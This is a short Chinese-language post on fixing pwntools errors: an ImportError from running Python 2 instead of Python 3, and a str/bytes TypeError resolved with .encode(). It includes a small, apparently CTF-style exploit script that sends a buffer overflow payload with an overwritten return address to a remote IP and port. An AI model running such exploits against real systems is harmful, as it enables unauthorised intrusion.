- 一、使用python运行py文件,第一行的from pwn import *报错
File "woof.py", line 1, in <module>
from pwn import *
ImportError: No module named pwn
因为使用的是python3安装的pwn,使用Python的话默认使用的是python2,可以直接在终端中输入python查看自己使用的版本。
- 二、使用python3运行脚本:
from pwn import *
r=remote("120.46.59.242", 2139)
payload='A'*13+p32(0x0804859b)
r.sendline(payload)
r.interactive()
报错:
File "/home/exfeitu/desktop/woof.py", line 3, in <module>
payload=str('A'*13+p32(0x0804859b))
TypeError: can only concatenate str (not "bytes") to str
无法进行字符串转换之类的,是由于python2和与python3的版本特性,需要手动转换。
参考python 报错TypeError: can only concatenate str (not "bytes") to str
和can only concatenate str (not "bytes") to str,使用encode()解决,在字符串后面加上.encode()